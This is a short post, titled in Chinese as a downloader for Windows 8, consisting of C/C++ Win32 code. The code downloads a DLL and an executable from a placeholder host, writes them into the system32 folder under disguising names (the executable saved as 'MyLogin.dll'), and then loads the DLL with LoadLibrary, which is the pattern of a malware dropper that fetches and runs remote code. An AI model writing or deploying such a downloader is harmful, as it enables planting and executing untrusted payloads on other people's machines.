windows8下的下载器（代码）

bool FileIsExist(LPCTSTR szFileFullPathName) {
1. WIN32_FIND_DATA Win32_Find_Data; HANDLE hFindFile;
2. hFindFile = FindFirstFile(szFileFullPathName,&Win32_Find_Data);
3. if(INVALID_HANDLE_VALUE == hFindFile)
4. { //AfxMessageBox("Not Exist");
5. return false; }
6. else {
7. //AfxMessageBox("Have Exist"); FindClose(hFindFile);
8. return true; }
9. }
10. int main(int argc, char* argv[]) {
11. char DownURL[255] = "http://www.domain.com/test.dll"; char DownLoadDir[255];
12. char ExeURL[255] = "http://www.domain.com/test.exe";
13. char ExeDir[255];
14. GetWindowsDirectory(DownLoadDir,sizeof(DownLoadDir)); GetWindowsDirectory(ExeDir,sizeof(ExeDir));
15. strcat(DownLoadDir,"\\system32\\DLLtest.dll"); strcat(ExeDir,"\\system32\\MyLogin.dll");
16. URLDownloadToFile(0,ExeURL,ExeDir,0,NULL);
17. Sleep(3000);
18. URLDownloadToFile(0,DownURL,DownLoadDir,0,NULL);
19. while(true) {
20. if(FileIsExist(DownLoadDir) == true) break;
21. else Sleep(1000);
22. } Sleep(3000);
23. LoadLibrary(DownLoadDir); Sleep(10000);
24. return 0; }